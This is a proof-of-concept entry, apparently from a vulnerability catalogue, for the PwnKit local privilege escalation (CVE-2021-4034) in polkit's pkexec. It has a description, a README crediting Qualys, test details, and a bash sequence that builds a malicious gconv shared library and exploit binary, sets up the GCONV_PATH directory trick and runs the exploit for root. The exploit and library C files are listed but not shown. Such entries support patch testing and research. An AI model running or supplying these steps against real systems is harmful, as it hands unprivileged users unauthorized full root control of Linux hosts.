CVE-2021-4034 PoC — polkit 缓冲区错误漏洞

Source

https://github.com/TW-D/PwnKit-Vulnerability_CVE-2021-4034

Associated Vulnerability

Title:polkit 缓冲区错误漏洞 (CVE-2021-4034)
Description:A local privilege escalation vulnerability was found on polkit's pkexec utility. The pkexec application is a setuid tool designed to allow unprivileged users to run commands as privileged users according predefined policies. The current version of pkexec doesn't handle the calling parameters count correctly and ends trying to execute environment variables as commands. An attacker can leverage this by crafting environment variables in such a way it'll induce pkexec to execute arbitrary code. When successfully executed the attack can cause a local privilege escalation given unprivileged users administrative rights on the target machine.

Description

PwnKit - Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034)

Readme

# PwnKit Vulnerability - Local Privilege Escalation

- Title:         PwnKit Vulnerability - Local Privilege Escalation
- Target:        Linux
- Category:      Execution
- Credits:       Qualys Research Team   

## Description

The Qualys Research Team has discovered a memory corruption vulnerability in polkit’s pkexec, a SUID-root program that is installed by default on every major Linux distribution. This easily exploited vulnerability allows any unprivileged user to gain full root privileges on a vulnerable host by exploiting this vulnerability in its default configuration.

[PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034)](https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034)

## Tested on

>
> Ubuntu 20.04.3 LTS x86_64
>
> pkexec version 0.105
>

## PoC

```bash
mkdir /tmp/pwnkit_lpe/
gcc -shared -o /tmp/pwnkit_lpe/pwnkit.so -fPIC ./library.c
gcc ./exploit.c -o /tmp/pwnkit_lpe/pwnkit
echo "module UTF-8// PWNKIT// pwnkit 1" > /tmp/pwnkit_lpe/gconv-modules
mkdir -p "/tmp/pwnkit_lpe/GCONV_PATH=."
cp /usr/bin/true "/tmp/pwnkit_lpe/GCONV_PATH=./pwnkit.so:."
cd /tmp/pwnkit_lpe/
./pwnkit
```

File Snapshot


 [4.0K]  /data/pocs/3242c348f1fbf13aa4a543898c5a771ffd4a79dc
├── [ 320]  exploit.c
├── [ 369]  library.c
└── [1.2K]  README.md

0 directories, 3 files

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